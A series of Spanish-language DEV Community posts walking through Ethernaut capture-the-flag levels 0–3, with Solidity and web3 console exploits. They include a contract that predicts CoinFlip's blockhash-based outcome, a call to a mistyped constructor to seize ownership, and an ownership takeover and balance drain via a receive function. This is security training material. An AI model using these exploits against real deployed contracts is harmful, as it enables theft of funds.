DEV Community: ciscodiazo

Ethernaut Nivel 3: Coin Flip

ciscodiazo — Sat, 14 Jan 2023 22:11:40 +0000

Level 3: Coin Flip

Este es el nivel 3 del juego Ethernaut.

Requisitos previos

Blocks en la cadena de bloques de Ethereum
Solidity - interactuar con un contrato desplegado en una dirección. Lee this o mejor mira this

Atajos

Contrato dado:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

Básicamente, necesitamos predecir el resultado del lanzamiento de la moneda correctamente 10 veces seguidas para ganar.

El contrato dado intenta simular el lanzamiento de una moneda al azar generando true o false usando el número de bloque de la red (Ropsten en nuestro caso). ¡Pero esto no es realmente aleatorio! Puede consultar muy fácilmente la red para ver el número de bloque actual.

Resulta que la generación de números aleatorios es una de las trampas graves de las cadenas de bloques debido a su naturaleza determinista. Es por eso que existen servicios dedicados para este propósito como Chainlink VRF.

Dado que se puede acceder fácilmente a este número de bloque, también podemos generar el resultado del lanzamiento de una moneda y alimentar este resultado a la function flip para tener una suposición e incremento correctos consecutiveWins. Podemos hacer esto porque el tiempo de bloqueo de la red será lo suficientemente largo para que block.number no cambie entre las llamadas a funciones.

Escribiremos un contrato de solidity en(Remix IDE) con casi el mismo código inicial, agregando al codigo la clase contract Hack{} y modificamos algunas funciones, veamos:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract  Hack {
    CoinFlip private immutable target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _target) {
        target = CoinFlip(_target); 
    }

    function flip() external {
        bool guess = _guess();
        require(target.flip(guess), "guess failed");
    }

    function _guess() private view returns(bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
    }
}


contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

para esta modificación ingresamos a remix IDEen la carpeta contracts creamos el archivo CoinFlip.sol y escribimos el codigo anterior.

Regresa a openzeppelin en el nivel - CoinFlip solicita una instancia, cuando tenga la instancia desde la consola del navegador debera copiarla.

Nuevamente en remix IDE en el archivo CoinFlip.sol, busca deploy ubicado en la parte lateral izquierda, y en ENVIRONMENT, selecciona Injected Provider, acepta la solicitud de MetaMask

Ahora, en la opción CONTRACT (Compiled by Remix) selección la clase hack, pega la instancia en Deploy - address _targety clic en Deploy, y luego la misma instancia la pegamos en At Address y clickeamos.

Finalmente revisamos Deployed Contracts donde estara visible Hack y CoinFlip.

en CoinFlip presionamos el boton consecutiveWins, y en Hack clic en flip alternativamente y aceptamos desde MetaMask, aparecera el número 1,2... 11, cuando llege a 11, hemos terminado, enviamos la evidencia desde openzeppelin

Ethernaut Nivel 2: Fallout

ciscodiazo — Fri, 06 Jan 2023 02:02:25 +0000

Nivel 2: Fallout

Este es el nivel 2 del juego Ethernaut.

Requisitos previos:

Solidity smart contract constructors

Atajos

contrato dado:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
          require(
              msg.sender == owner,
              "caller is not the owner"
          );
          _;
      }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

El player tiene que reclamar la propiedad del contrato.

Al inspeccionar todos los métodos, se puede ver que no hay ningún método que cambie la propiedad del contrato. Solo la lógica de propiedad está dentro del constructor. ¡Pero los constructores se llaman solo una vez en el momento de la implementación!

Algo sobre la declaración del constructor parece inusual: "parece" estar definido con el mismo nombre que el contrato, es decir Fallout(en realidad NO lo está). ¿No usamos constructor palabras clave para declarar constructores?

En primer lugar, la declaración de constructor prevista tiene un error tipográfico, Fal1out en lugar de Fallout. Por lo tanto, solo se trata como un método normal, no como un constructor. Por lo tanto, simplemente lo llamamos y reclamamos la propiedad.

En segundo lugar, incluso si no fue un error tipográfico, es decir, el constructor se declaró como Fallout, ¡ni siquiera se compilará!
Las versiones anteriores de Solidity tenían este tipo de declaración de constructor. Si revisa los documentos, encontrará que la palabra clave constructor es obligatorio incluso en v0.5.0 - _ "Los constructores ahora deben definirse usando la palabra clave constructor"_ . Y usos del contrato objetivo v0.6.0.

await contract.Fal1out()

Y player se ha hecho cargo como owner. Verificar por:

await contract.owner() === player

// Output: true

Enviar instancia. Hecho.

Ethernaut Nivel 1: Fallback

ciscodiazo — Thu, 05 Jan 2023 22:46:41 +0000

Level 1: Fallback

Este es el nivel 1 del juego Ethernaut.

requisitos previos

Envío de transacciones usando web3.js a un contrato y a una función de pago
Conversion between units ether & wei
función Solidity contract fallback

Atajos

contrato dado:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

el método contract métodos y web3.js pueden ser ejecutadas desde la consola

El player address, debemos convertirla en owner del contrato y luego retirar todo el monto del contrato.

las partes claves son: la funcion contribute y la funcion receive.

En el constructor, se observa que el owner' la contribución es de 1000 eth. Una forma de convertirse en owner es enviar del owner' una contribución eth desde la función contribute. verificamos la contribución del owner eth desde la consola:

ownerAddr = await contract.owner();
await contract.contributions('0x9CB391dbcD447E645D6Cb55dE6ca23164130D008').then(v => v.toString())

// Output '1000000000000000000000'

¡Pero eso sería demasiado eth! No tenemos nada cerca.

Sin embargo, eche un vistazo a la función receive. También tiene código para cambiar de dueño. Según el código, podemos reclamar la propiedad si:

El contrato tiene una contribución distinta de cero por nuestra parte (player).
Luego, enviamos al contrato una cantidad eth distinta de cero.

player la dirección tiene una contribución cero al contrato actualmente, así que satisfagamos la primera condición enviando menos de 0.001 eth (requerido según el código):

await contract.contribute.sendTransaction({ from: player, value: toWei('0.0009')})

Ahora tenemos una contribución distinta de cero que puede verificar mediante:

await contract.getContribution().then(v => v.toString())

Y ahora envíe cualquier cantidad de éter distinta de cero al contrato:

await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')})

Boom! ¡Reclamamos la propiedad del contrato!
Puede verificar que owner es la misma dirección que player por:

await contract.owner()
// Output: Same as player address

Y para el golpe final, retirar todo el saldo del contrato:

await contract.withdraw()

Hecho.

Ethernaut Nivel 0: Hola Ethernaut

ciscodiazo — Thu, 05 Jan 2023 21:51:04 +0000

Nivel 0: Hola Ethernaut

Este es el nivel 0 del juegoEthernaut.

requisitos previos

Basics of web3js

Atajos

has leído las instrucciones del nivel 0 y ha adquirido el éter de prueba. Los métodos de contrato de nivel se inyectan directamente en la consola de nuestro navegador, por lo que podemos comenzar a llamar a los métodos.

antes de iniciar:

Configurar MetaMask
Abra la consola del navegador Abra la consola de su navegador: Tools > Developer Tools. comando (await chrome 64) player
Usa los ayudantes de la consola getBalance(player)
El ethernaut contract ethernaut
Interactuar con ABI ethernaut.owner()
Obtener una instancia de nivel level instance
Inspección del contrato contract
Interactuar con el contrato para completar el nivel contract.info()

Empecemos. Las instrucciones piden llamar a este método en la consola:

await contract.info()

// Output: 'You will find what you need in info1().'

Seguimos la salida y llamamos:

await contract.info1()

// Output: 'Try info2(), but with "hello" as a parameter.'

Siguiente...

await contract.info2("hello")

// Output: 'The property infoNum holds the number of the next info method to call.'

Para obtener infoNum llamamos captador público:

await contract.infoNum().then(v => v.toString())

// Output: 42

Tenga en cuenta que infoNum() devuelve un objeto BigNumber, por lo que lo convertimos en una cadena para ver el número real.

Procediendo con info42:

await contract.info42()

// Output: 'theMethodName is the name of the next method.'

De nuevo, siguiente salida:

await contract.theMethodName()

// Output: 'The method name is method7123949.'

Y entonces:

await contract.method7123949()

// Output: 'If you know the password, submit it to authenticate().'

Ok... pero cual es la contraseña? Inspeccionemos los contratos ABI:

contract

// Output: { abi: ..., address: ..., ...., password: f () }

Al inspeccionar vemos que hay un password método para el contrato. Llamémoslo:

await contract.password()

// Output: 'ethernaut0`

Tenemos la contraseña. Finalmente:

await contract.authenticate('ethernaut0')

y confirme la transacción en metamask. Enviar instancia.